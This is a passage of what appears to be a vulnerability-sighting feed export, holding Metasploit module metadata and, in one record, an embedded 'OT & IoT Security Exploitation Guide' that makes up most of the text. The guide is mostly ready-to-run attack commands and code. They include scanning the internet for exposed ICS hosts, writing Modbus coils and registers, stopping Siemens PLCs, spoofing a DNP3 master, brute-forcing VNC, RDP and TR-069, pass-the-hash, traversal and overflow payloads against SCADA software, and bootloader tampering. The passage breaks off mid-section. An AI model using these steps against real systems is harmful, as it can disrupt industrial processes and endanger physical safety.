1.3.2\", \"disclosure_date\": \"2017-11-09\", \"fullname\": \"auxiliary/gather/roundcube_auth_file_read\", \"is_install_path\": true, \"mod_time\": \"2023-08-25 08:59:53 +0000\", \"name\": \"Roundcube TimeZone Authenticated File Disclosure\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/gather/roundcube_auth_file_read.rb\", \"platform\": \"\", \"post_auth\": true, \"rank\": 300, \"ref_name\": \"gather/roundcube_auth_file_read\", \"references\": [\"EDB-49510\", \"URL-https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1\", \"CVE-2017-16651\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:21.410917Z"} https://vulnerability.circl.lu/sighting/e5ef1807-89a7-414c-b8b3-0f792a1c61b2/export Tue, 08 Sep 2026 06:47:21 +0000 https://vulnerability.circl.lu/sighting/63e17a22-dc1c-489e-8327-88ee9365c275/export {"uuid": "63e17a22-dc1c-489e-8327-88ee9365c275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16086", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ua_parser_js_redos.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Ryan Knell, Sonatype Security Research\", \"Nick Starke, Sonatype Security Research\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits a Regular Expression Denial of Service vulnerability\\n in the npm module \\\"ua-parser-js\\\". Server-side applications that use\\n \\\"ua-parser-js\\\" for parsing the browser user-agent string will be vulnerable\\n if they call the \\\"getOS\\\" or \\\"getResult\\\" functions. This vulnerability was\\n fixed as of version 0.7.16.\", \"disclosure_date\": null, \"fullname\": \"auxiliary/dos/http/ua_parser_js_redos\", \"is_install_path\": true, \"mod_time\": \"2025-05-09 00:08:33 +0000\", \"name\": \"ua-parser-js npm module ReDoS\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/auxiliary/dos/http/ua_parser_js_redos.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"dos/http/ua_parser_js_redos\", \"references\": [\"CVE-2017-16086\", \"URL-https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79\", \"CWE-400\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:01.508384Z"} {"uuid": "63e17a22-dc1c-489e-8327-88ee9365c275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16086", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ua_parser_js_redos.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Ryan Knell, Sonatype Security Research\", \"Nick Starke, Sonatype Security Research\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits a Regular Expression Denial of Service vulnerability\\n in the npm module \\\"ua-parser-js\\\". Server-side applications that use\\n \\\"ua-parser-js\\\" for parsing the browser user-agent string will be vulnerable\\n if they call the \\\"getOS\\\" or \\\"getResult\\\" functions. This vulnerability was\\n fixed as of version 0.7.16.\", \"disclosure_date\": null, \"fullname\": \"auxiliary/dos/http/ua_parser_js_redos\", \"is_install_path\": true, \"mod_time\": \"2025-05-09 00:08:33 +0000\", \"name\": \"ua-parser-js npm module ReDoS\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/auxiliary/dos/http/ua_parser_js_redos.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"dos/http/ua_parser_js_redos\", \"references\": [\"CVE-2017-16086\", \"URL-https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79\", \"CWE-400\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:01.508384Z"} https://vulnerability.circl.lu/sighting/63e17a22-dc1c-489e-8327-88ee9365c275/export Tue, 08 Sep 2026 06:47:01 +0000 https://vulnerability.circl.lu/sighting/3d903fa0-46dd-4425-9b77-0a3330dda5d0/export {"uuid": "3d903fa0-46dd-4425-9b77-0a3330dda5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16249", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/brother_debut_dos.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"z00n <0xz00n@gmail.com>\", \"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial\\n of Service (DoS) condition via a crafted HTTP request. The printer will be\\n unresponsive from HTTP and printing requests for ~300 seconds. After which, the\\n printer will start responding again.\", \"disclosure_date\": \"2017-11-02\", \"fullname\": \"auxiliary/dos/http/brother_debut_dos\", \"is_install_path\": true, \"mod_time\": \"2025-05-09 00:08:33 +0000\", \"name\": \"Brother Debut http Denial Of Service\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/auxiliary/dos/http/brother_debut_dos.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"dos/http/brother_debut_dos\", \"references\": [\"CVE-2017-16249\", \"URL-https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:58.958197Z"} {"uuid": "3d903fa0-46dd-4425-9b77-0a3330dda5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16249", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/brother_debut_dos.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"z00n <0xz00n@gmail.com>\", \"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial\\n of Service (DoS) condition via a crafted HTTP request. The printer will be\\n unresponsive from HTTP and printing requests for ~300 seconds. After which, the\\n printer will start responding again.\", \"disclosure_date\": \"2017-11-02\", \"fullname\": \"auxiliary/dos/http/brother_debut_dos\", \"is_install_path\": true, \"mod_time\": \"2025-05-09 00:08:33 +0000\", \"name\": \"Brother Debut http Denial Of Service\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/auxiliary/dos/http/brother_debut_dos.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"dos/http/brother_debut_dos\", \"references\": [\"CVE-2017-16249\", \"URL-https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:58.958197Z"} https://vulnerability.circl.lu/sighting/3d903fa0-46dd-4425-9b77-0a3330dda5d0/export Tue, 08 Sep 2026 06:46:58 +0000 https://vulnerability.circl.lu/sighting/7b368080-95c9-4286-9180-dfef54f64413/export {"uuid": "7b368080-95c9-4286-9180-dfef54f64413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16806", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/ulterius_file_download.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Rick Osgood\", \"Jacob Robles\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0\\n to download files from the affected host. A valid file path is needed to download a file.\\n Fortunately, Ulterius indexes every file on the system, which can be stored in the\\n following location:\\n\\n http://ulteriusURL:port/.../fileIndex.db.\\n\\n This module can download and parse the fileIndex.db file. There is also an option to\\n download a file using a provided path.\", \"disclosure_date\": null, \"fullname\": \"auxiliary/admin/http/ulterius_file_download\", \"is_install_path\": true, \"mod_time\": \"2025-05-16 01:16:37 +0000\", \"name\": \"Ulterius Server File Download Vulnerability\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/admin/http/ulterius_file_download.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"admin/http/ulterius_file_download\", \"references\": [\"EDB-43141\", \"CVE-2017-16806\"], \"rport\": 22006, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:50.972930Z"} {"uuid": "7b368080-95c9-4286-9180-dfef54f64413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16806", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/ulterius_file_download.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Rick Osgood\", \"Jacob Robles\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0\\n to download files from the affected host. A valid file path is needed to download a file.\\n Fortunately, Ulterius indexes every file on the system, which can be stored in the\\n following location:\\n\\n http://ulteriusURL:port/.../fileIndex.db.\\n\\n This module can download and parse the fileIndex.db file. There is also an option to\\n download a file using a provided path.\", \"disclosure_date\": null, \"fullname\": \"auxiliary/admin/http/ulterius_file_download\", \"is_install_path\": true, \"mod_time\": \"2025-05-16 01:16:37 +0000\", \"name\": \"Ulterius Server File Download Vulnerability\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/admin/http/ulterius_file_download.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"admin/http/ulterius_file_download\", \"references\": [\"EDB-43141\", \"CVE-2017-16806\"], \"rport\": 22006, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:50.972930Z"} https://vulnerability.circl.lu/sighting/7b368080-95c9-4286-9180-dfef54f64413/export Tue, 08 Sep 2026 06:46:50 +0000 https://vulnerability.circl.lu/sighting/b6d8f56c-badb-4a88-8771-833f94cf7b44/export {"uuid": "b6d8f56c-badb-4a88-8771-833f94cf7b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16743", "type": "seen", "source": "https://gist.github.com/bbrk364/c0171ce39dd4dd9700b98e3aedec0f0c", "content": "# Operational Technology (OT) & IoT Security Exploitation Guide\n\nComprehensive guide to OT/IoT security testing covering ICS/SCADA protocols, industrial control systems, IoT device exploitation, firmware analysis, hardware interfaces, and wireless protocols with practical attack methodologies and defense strategies.\n\n---\n\n## OT Security Architecture & Threat Landscape\n\n### **OT vs IT Security Differences**\n\n| Aspect | IT Security | OT Security |\n|--------|-------------|-------------|\n| **Primary Concern** | Data confidentiality | System availability |\n| **Patching** | Regular updates | Limited, scheduled |\n| **Lifespan** | 3-5 years | 15-30 years |\n| **Risk Tolerance** | Medium | Very Low |\n| **Impact** | Financial loss | Physical damage, safety risks |\n| **Protocols** | TCP/IP, HTTP | Modbus, DNP3, PROFINET |\n\n### **Critical Infrastructure Sectors**\n\n1. **Energy** - Power grids, oil & gas pipelines\n2. **Water** - Treatment plants, distribution systems\n3. **Transportation** - Air traffic, rail systems\n4. **Manufacturing** - Industrial control systems\n5. **Healthcare** - Medical devices, hospital systems\n6. **Communications** - Telecom networks\n\n---\n\n## OT Protocol Enumeration & Exploitation\n\n### **Common OT Protocols & Ports**\n\n| Protocol | Port | Purpose | Tool |\n|----------|------|---------|------|\n| Modbus | 502 | Process automation | modscan, mbtget |\n| DNP3 | 20000 | Electrical grid control | dnp3-map |\n| S7comm | 102 | Siemens PLCs | s7scan, snap7 |\n| PROFINET | 34962/34964 | Industrial Ethernet | profinetd |\n| EtherNet/IP | 44818 | Allen-Bradley PLCs | enip-tools |\n| BACnet | 47808 | Building automation | bacnet-utils |\n| IEC 61850 | 102 | Electrical substations | libiec61850 |\n| OPC UA | 4840 | Data exchange | opcua-client |\n\n### **Network Discovery & Enumeration**\n\n**Shodan Dorks for OT Systems:**\n```bash\n# Modbus\n\"port:502\" \"product:modbus\"\n\"port:502\" \"content:modbus\"\n\n# Siemens S7\n\"port:102\" \"Siemens\"\n\"port:102\" \"S7comm\"\n\n# Allen-Bradley\n\"port:44818\" \"Rockwell\"\n\"port:44818\" \"EtherNet/IP\"\n\n# General ICS/SCADA\n\"SCADA\" \"port:102,502,20000,44818\"\n\"PLC\" \"port:102,502\"\n\"industrial control\"\n\n# VNC/RDP for HMIs\n\"port:5900\" \"RFB 003.008\"\n\"port:3389\" \"MS RDP\"\n```\n\n**Nmap Scripts for OT:**\n```bash\n# Comprehensive OT scan\nnmap -sS -sV -p 102,502,20000,44818,47808,34962-34964 --script=\"*scada*\" target\n\n# Modbus discovery\nnmap --script modbus-discover -p 502 target\n\n# Siemens S7 scan\nnmap --script s7-info -p 102 target\n\n# BACnet scan\nnmap --script bacnet-info -p 47808 target\n\n# All known ICS ports\nnmap -p 102,502,20000,2404,4000,4840,4843,4911,9600,1883,20547,34962-34964,44818,47808 target\n```\n\n**Masscan for Large Networks:**\n```bash\n# Fast OT port scanning\nmasscan -p102,502,20000,44818,47808,34962-34964 10.0.0.0/8 --rate=10000\n\n# Output to file\nmasscan -p102,502 192.168.0.0/16 -oL ot_scan.txt\n```\n\n### **Protocol-Specific Exploitation**\n\n#### **Modbus Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using modscan\npython3 modscan.py -t target_ip -p 502\n\n# Enumerate devices\nmodscan.py -a target_ip -p 502 -t 0 -r 1-100\n\n# Read holding registers\nmbtget -a 1 -r 40001-40010 -p 502 target_ip\n\n# Write to coils (dangerous!)\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target_ip\n```\n\n**Metasploit Modules:**\n```bash\nuse auxiliary/scanner/scada/modbusclient\nset RHOSTS target_ip\nset RPORT 502\nrun\n\n# Write single coil (turn on/off)\nuse auxiliary/admin/scada/modbus_write_coil\nset RHOST target_ip\nset RPORT 502\nset UNIT_ID 1\nset COIL_ADDR 0\nset COIL_VALUE 1\nrun\n```\n\n**Python Exploitation:**\n```python\nfrom pymodbus.client import ModbusTcpClient\n\nclient = ModbusTcpClient('target_ip', port=502)\nclient.connect()\n\n# Read coils\nresult = client.read_coils(0, 10)\nprint(f\"Coils: {result.bits}\")\n\n# Write coil (turn on)\nclient.write_coil(0, True)\n\n# Read holding registers\nresult = client.read_holding_registers(40001, 10)\nprint(f\"Registers: {result.registers}\")\n\n# Write register (change value)\nclient.write_register(40001, 1000)\n```\n\n#### **Siemens S7 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using s7scan\npython3 s7scan.py -t target_ip\n\n# With snap7\npython3 -c \"\nimport snap7\nclient = snap7.client.Client()\nclient.connect('target_ip', 0, 1)\nprint(client.get_cpu_info())\nclient.disconnect()\n\"\n\n# Metasploit\nuse auxiliary/scanner/scada/siemens_s7_scan\nset RHOSTS target_ip\nrun\n```\n\n**Stop CPU (Denial of Service):**\n```python\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\nclient.plc_stop() # Stops PLC operation\n```\n\n**Read/Write Memory:**\n```python\nfrom snap7.util import *\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\n\n# Read memory area\ndata = client.read_area(0x84, 0, 0, 100) # DB area\nvalue = get_int(data, 0)\nprint(f\"Value: {value}\")\n\n# Write to memory\ndata = bytearray(2)\nset_int(data, 0, 9999)\nclient.write_area(0x84, 0, 0, data)\n```\n\n#### **DNP3 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using dnp3-map\npython3 dnp3-map.py -t target_ip -p 20000\n\n# Scan for DNP3\nnmap --script dnp3-info -p 20000 target_ip\n\n# Metasploit\nuse auxiliary/scanner/scada/dnp3_scan\nset RHOSTS target_ip\nrun\n```\n\n**Master Spoofing:**\n```python\nfrom pydnp3 import opendnp3, asiodnp3, asiopal\n\n# Create fake master\nstack_config = asiodnp3.DNP3Manager()\nchannel = stack_config.add_channel(\n \"client\",\n asiopal.ChannelRetry().defaults(),\n \"0.0.0.0\",\n 20000,\n asiodnp3.PrintingChannelListener().Create()\n)\n\nmaster = channel.add_master(\n \"master\",\n asiodnp3.PrintingSOEHandler().Create(),\n asiodnp3.DefaultMasterApplication().Create(),\n opendnp3.MasterStackConfig()\n)\n\n# Send control commands\ncommand = opendnp3.ControlRelayOutputBlock(\n opendnp3.ControlCode.LATCH_ON,\n 1,\n 1000,\n opendnp3.CommandStatus.SUCCESS\n)\n\nmaster.direct_operate(command, 0)\n```\n\n#### **EtherNet/IP (Allen-Bradley) Attacks**\n\n**Enumeration:**\n```bash\n# Using enip-tools\npython3 enip.py -i target_ip scan\n\n# List services\npython3 enip.py -i target_ip list_services\n\n# List identity\npython3 enip.py -i target_ip list_identity\n```\n\n**Read/Write Tags:**\n```python\nfrom cpppo.server.enip import client\n\n# Read tag\nwith client.connector(host='target_ip') as conn:\n operations = [('@4/1/3', 'SINT')] # Read tag at path\n failures, responses = conn.synchronous(operations=operations)\n print(f\"Value: {responses[0]}\")\n\n# Write tag\nwith client.connector(host='target_ip') as conn:\n operations = [('@4/1/3=42', 'SINT')] # Write value 42\n failures, _ = conn.synchronous(operations=operations)\n```\n\n#### **BACnet Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using bacnet-utils\nbacdiscover -d target_ip\n\n# Read device properties\nbaccfg -d target_ip -a 1001 read Device 1 objectName\n\n# Write property (if writable)\nbaccfg -d target_ip -a 1001 write Device 1 objectName \"HACKED\"\n\n# Metasploit\nuse auxiliary/scanner/scada/bacnet_discover\nset RHOSTS target_ip\nrun\n```\n\n**Denial of Service:**\n```bash\n# Flood with Who-Is requests\npython3 -c \"\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.apdu import WhoIsRequest\nfrom bacpypes import Address\n\n# Create broadcast request\nrequest = WhoIsRequest()\nrequest.pduDestination = Address('192.168.1.255/47808')\n\n# Send repeatedly\nfor _ in range(1000):\n request.encode()\n\"\n```\n\n---\n\n## HMI & Remote Access Exploitation\n\n### **VNC (Virtual Network Computing)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"vnc port:5900 country:us\"\n\"RFB 003.008\"\n\n# Nmap scan\nnmap -p 5900-5910 -sV --script vnc-info,vnc-title target\n\n# Mass scanning\nmasscan -p5900-5910 10.0.0.0/8 --rate=10000\n\n# Check for authentication\nnc -zv target_ip 5900\necho \"RFB 003.008\\n\" | nc target_ip 5900\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 5900 -f -vV target_ip vnc\n\n# Using Metasploit\nuse auxiliary/scanner/vnc/vnc_login\nset RHOSTS target_ip\nset USER_FILE /path/to/users.txt\nset PASS_FILE /path/to/passwords.txt\nrun\n\n# Using vncrack\nvncrack -P passwords.txt -u username -H target_ip -v 5900\n```\n\n**Exploitation:**\n```bash\n# Connect with vncviewer\nvncviewer target_ip::5900\n\n# With password\nvncviewer -passwd password.txt target_ip:5900\n\n# Autopass (if password stored)\nvncviewer -autopass target_ip:5900\n\n# Screenshot capture\nvncsnapshot target_ip:5900 screenshot.jpg\n```\n\n### **RDP (Remote Desktop Protocol)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:3389 product:\"Microsoft Terminal Services\"\"\n\"rdp country:de\"\n\n# Nmap scan\nnmap -p 3389 -sV --script rdp-enum-encryption,rdp-ntlm-info target\n\n# Check for BlueKeep vulnerability\nnmap -p 3389 --script rdp-vuln-ms12-020 target\n\n# Mass scanning\nmasscan -p3389 192.168.0.0/16 --rate=5000\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 3389 -f -vV target_ip rdp\n\n# Using Crowbar\ncrowbar -b rdp -s target_ip/32 -u users.txt -C passwords.txt\n\n# Using Ncrack\nncrack -vv --user username -P passwords.txt rdp://target_ip\n\n# Using Medusa\nmedusa -u username -P passwords.txt -h target_ip -M rdp\n```\n\n**Exploitation:**\n```bash\n# Connect with rdesktop\nrdesktop -u administrator -p Password123 -g 1024x768 -a 16 target_ip\n\n# With xfreerdp (supports NLA)\nxfreerdp /u:administrator /p:Password123 /v:target_ip /cert-ignore\n\n# With Remmina\nremmina --connect rdp://administrator:Password123@target_ip\n\n# Pass-the-hash attack\nxfreerdp /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /v:target_ip\n```\n\n### **TR-069 (CWMP) Exploitation**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:7547 product:\"TR-069\"\"\n\"CWMP\"\n\n# Nmap scan\nnmap -p 7547 -sV --script tr069-discover target\n\n# Check for exposed interfaces\ncurl -k https://target_ip:7547/\ncurl http://target_ip:7547/\n```\n\n**Exploitation:**\n```bash\n# Using genieacs\npython3 genieacs.py --host target_ip --port 7547 --list\n\n# Brute force credentials\nhydra -L users.txt -P passwords.txt -s 7547 target_ip http-post-form \\\n\"/:username=^USER^&password=^PASS^:Invalid\"\n\n# SOAP injection\ncurl -X POST http://target_ip:7547/ \\\n-H \"Content-Type: text/xml\" \\\n-d '\n\n\n\n\nInternetGatewayDevice.\n\n\n\n'\n```\n\n---\n\n## ICS/SCADA Specific Software Exploitation\n\n### **PRTG Network Monitor**\n\n**Discovery:**\n```bash\n# Shodan search\n\"title:PRTG inurl:/public\"\n\"PRTG Traffic Grapher\"\n\n# Directory enumeration\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,aspx\n\n# Version detection\ncurl -I http://target_ip/ | grep -i \"PRTG\"\n```\n\n**Exploitation:**\n```bash\n# Metasploit module\nuse exploit/windows/http/prtg_authenticated_rce\nset RHOSTS target_ip\nset RPORT 80\nset USERNAME prtgadmin\nset PASSWORD prtgadmin\nset TARGETURI /\nexploit\n\n# Directory traversal (CVE-2018-9276)\ncurl \"http://target_ip/public/login.htm?tabid=0&username=..\\..\\..\\..\\..\\windows\\system.ini\"\n\n# API key extraction\ncurl \"http://target_ip/api/table.xml?content=sensors&columns=objid,group,device,probe,sensor&loginurl=/public/login.htm&username=prtgadmin&password=prtgadmin\"\n```\n\n### **WinCC (Siemens)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:102 product:WinCC\"\n\"Siemens SIMATIC WinCC\"\n\n# Web interface\nnmap -p 80,443 --script http-title target\n```\n\n**Exploitation:**\n```bash\n# Database access (default credentials)\nsqsh -S WinCC -U wincc -P wincc\n\n# Directory traversal\ncurl \"http://target_ip/WinCC/scripts/..\\..\\..\\..\\windows\\system.ini\"\n\n# Metasploit modules\nuse exploit/windows/scada/wincc_webexec\nuse auxiliary/admin/scada/wincc_a7_dataget\n```\n\n### **InduSoft Web Studio**\n\n**Discovery:**\n```bash\n# Shodan search\n\"InduSoft Web Studio\"\n\"port:1234 product:InduSoft\"\n\n# Default credentials\nadmin/1234\nadmin/admin\n```\n\n**Exploitation:**\n```bash\n# Directory traversal (CVE-2017-16744)\ncurl \"http://target_ip:1234/../../windows/system.ini\"\n\n# Buffer overflow (CVE-2017-16743)\npython3 -c \"\nimport socket\ns = socket.socket()\ns.connect(('target_ip', 1234))\npayload = 'A' * 5000\ns.send(payload)\n\"\n```\n\n---\n\n## IoT Device Exploitation Methodology\n\n### **Firmware Analysis**\n\n**Initial Analysis:**\n```bash\n# Identify file type\nfile firmware.bin\n\n# Extract strings\nstrings firmware.bin | head -100\nstrings -n 8 firmware.bin > strings.txt\nstrings -tx firmware.bin | grep -i \"password\\|admin\\|root\"\n\n# Check entropy\nbinwalk -E firmware.bin\n\n# List embedded files\nbinwalk firmware.bin\n\n# Extract file system\nbinwalk -e firmware.bin\n```\n\n**Advanced Analysis:**\n```bash\n# Using FACT (Firmware Analysis and Comparison Tool)\ncd /opt/fact\nsudo python3 -m fact.firmware firmware.bin\n\n# Using EMBBA\nsudo ./emba.sh -f firmware.bin -l ./logs -p ./scan-profiles/default\n\n# Using Firmware Analysis Toolkit (FAT)\nsudo python3 ./fat.py firmware.bin --qemu 2.5.0\n\n# Extract with fmk\n./extract-firmware.sh firmware.bin\n```\n\n**Filesystem Examination:**\n```bash\n# Mount extracted filesystem\nsudo mount -o loop extracted.squashfs /mnt/firmware\n\n# Search for sensitive files\nfind /mnt/firmware -type f -name \"*.pem\" -o -name \"*.key\" -o -name \"*password*\"\nfind /mnt/firmware -type f -exec grep -l \"password\" {} \\;\nfind /mnt/firmware -type f -perm -4000 # SUID files\n\n# Check configuration files\ncat /mnt/firmware/etc/passwd\ncat /mnt/firmware/etc/shadow\ncat /mnt/firmware/etc/config/*\n```\n\n### **Hardware Interfaces Exploitation**\n\n#### **UART (Universal Asynchronous Receiver-Transmitter)**\n\n**Identification:**\n```bash\n# Look for 4 pins: VCC, GND, TX, RX\n# Use multimeter to identify:\n# GND: 0V continuous\n# VCC: 3.3V or 5V\n# TX: Fluctuating voltage\n# RX: Steady voltage\n\n# Common baud rates: 115200, 9600, 57600, 38400\n```\n\n**Connection & Exploitation:**\n```bash\n# Using screen\nscreen /dev/ttyUSB0 115200\n\n# Using minicom\nminicom -D /dev/ttyUSB0 -b 115200\n\n# Using cu\ncu -l /dev/ttyUSB0 -s 115200\n\n# Common commands once connected:\n# Interrupt boot process (Ctrl+C, Ctrl+Z, Enter)\n# Check for bootloader prompt (U-Boot, RedBoot)\n# Access shell\n```\n\n**Bootloader Exploitation:**\n```bash\n# U-Boot common commands\nprintenv # Show environment variables\nsetenv bootargs \"console=ttyS0,115200 init=/bin/sh\" # Change init\nsaveenv # Save changes\nboot # Continue booting\n\n# RedBoot commands\nfis list # List flash partitions\nload -r -b 0x80000000 firmware.bin # Load new firmware\nfis create rootfs # Write to flash\n```\n\n#### **JTAG (Joint Test Action Group)**\n\n**Identification:**\n```bash\n# Look for 20-pin or 10-pin connector\n# Common pinouts:\n# TDI, TDO, TCK, TMS, TRST, VREF, GND\n\n# Using OpenOCD for detection\nopenocd -f interface/jlink.cfg -c \"transport select jtag\" -c \"adapter_khz 1000\" -c \"init\"\n```\n\n**Exploitation with OpenOCD:**\n```bash\n# Start OpenOCD server\nopenocd -f interface/jlink.cfg -f target/arm7tdmi.cfg\n\n# Connect with telnet\ntelnet localhost 4444\n\n# Common commands:\n> halt # Stop CPU\n> reg # Show registers\n> mdw 0x00000000 10 # Read memory\n> mww 0x00000000 0xdeadbeef # Write memory\n> load_image firmware.bin 0x80000000 # Load firmware\n> resume # Continue execution\n```\n\n**GDB Debugging:**\n```bash\n# Connect GDB to OpenOCD\narm-none-eabi-gdb firmware.elf\n(gdb) target remote localhost:3333\n(gdb) monitor halt\n(gdb) info registers\n(gdb) break main\n(gdb) continue\n```\n\n#### **SWD (Serial Wire Debug)**\n\n**Connection:**\n```bash\n# 4 pins: SWDIO, SWCLK, GND, VREF\nopenocd -f interface/stlink-v2.cfg -c \"transport select swd\" -f target/stm32f1x.cfg\n```\n\n**Dumping Flash:**\n```bash\n# In OpenOCD telnet\n> dump_image flash.bin 0x08000000 0x10000 # Dump 64KB\n\n# Using pyOCD\npyocd-flashtool -t stm32f103 -ce # Chip erase\npyocd-flashtool -t stm32f103 -r flash.bin # Read flash\n```\n\n#### **SPI (Serial Peripheral Interface)**\n\n**Sniffing with Bus Pirate:**\n```bash\n# Connect: MOSI, MISO, CLK, CS\n# Initialize\nm # Set mode\n5 # SPI\n4 # 30kHz\n1 # Output type\nW # Power supplies on\n\n# Sniff 